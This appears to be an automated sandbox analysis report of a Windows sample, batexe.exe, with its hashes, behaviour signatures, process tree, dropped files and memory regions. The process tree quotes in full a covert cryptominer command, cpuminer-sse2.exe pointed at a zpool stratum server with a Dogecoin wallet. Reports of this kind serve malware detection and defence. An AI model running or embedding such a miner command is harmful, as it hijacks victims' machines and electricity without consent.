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Analysis

  • max time kernel
    294s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    18/02/2024, 17:41

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3360
    • C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:756
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6FC1.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2024

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe

    Filesize

    7.2MB

    MD5

    74c2e047753aae976d260d83bbf62676

    SHA1

    af2ff87a23e2940de2258b785faa76508c93c123

    SHA256

    826411201aec1c9b9b56f80a477777c2eb3866888e99e9c9d12db630071e7a50

    SHA512

    b84f777ef3d41fc01b99b6b532540a375d99513837f684f92572bc1ac5191000c14c92929bdcd5513bb3c91d9383700eba99649d6aa823e8ff2b09da057d3b0c

  • C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe

    Filesize

    5.9MB

    MD5

    5b367d7ac847a1df26622d49f95f4232

    SHA1

    818985e44a0f9f615eead56dae5fa13a11e00964

    SHA256

    f1b8691c36809fc807689967a864f887f2325a75631fb54dc028143c17a7fb42

    SHA512

    08e1f37abab823da8cb53a2f591cfe1cda0e6b12e47e4ed13eac348030fac4f47943b085b68978b95c0876c24b5df1e42614c148fdb74d5101175f7bd3f31a39

  • C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe

    Filesize

    7.1MB

    MD5

    ee239b221887a51cc06ac4e1cc41fb8e

    SHA1

    e34654d206497c4ee510c3d4d0e29bbe2a01d215

    SHA256

    c7c6f148c4516051fd473f7cd1c30ffa2697198c082e9458f86acd6a85e0ae0f

    SHA512

    5e1702b596bb4dcdcb63f064deb7b2e1bc793fc740a8ea96c878b4848d791fff0a1a378cd6a311e43123a8c07c2150d7ebff43aaf9cef0c1fb2badbba1b1aa9a

  • C:\Users\Admin\AppData\Local\Temp\6FC1.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    3.7MB

    MD5

    b969ee11afec75e3f5d486233b44e9f0

    SHA1

    6e03c993dd6e785a7b9697446866c2fca81d4460

    SHA256

    1a86c594cc369d71053bfc2e0c7da47c2bb79bd839780753eb869948069a3d78

    SHA512

    f728879be7d0d8c97ee55eba9d91bd270d99d3e4aae085f61a11b20bac769022edc7f39786361d3501587e1030003f1ea277d292230fd038ebcfce1eaaa47859

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.0MB

    MD5

    af66ec810e1686bde887103043bcc6bf

    SHA1

    14b7c9c5bd6c23fcd48edb4be27ad99914251526

    SHA256

    dba6a6f4aa8897fb62780ed3c9c1fe5da64e3df590a1beb76678e0ae7b8b18f0

    SHA512

    e3c34e413118bdd625b840929d3757d4dfb283edc591f41ad1037c423230b0720284627cb26f9a424fa7cb8f8f83373ba5c36fdae74153e6ff65dff1c3b5a8a9

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.5MB

    MD5

    5b227b333b872ef726772aa3a23c9a30

    SHA1

    bc9a0a31c0929044efe49f592197199146e17e46

    SHA256

    cd8b3c81894be1903d23f956da461af33c259946be17209a5ae5e5fd01249dc2

    SHA512

    abca09e2c13073088f880ec3840a987712d35d08cb73e4bb58a99da205aadcbfa09f7eb94fe7c21420d3d17aa467c32c073beec41b430556f6037f59da8342a4

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/756-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/756-9-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2024-45-0x0000000067D60000-0x0000000067DF8000-memory.dmp

    Filesize

    608KB

  • memory/2024-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-46-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2024-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2024-47-0x0000000001150000-0x0000000002A05000-memory.dmp

    Filesize

    24.7MB

  • memory/2024-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2024-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3360-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB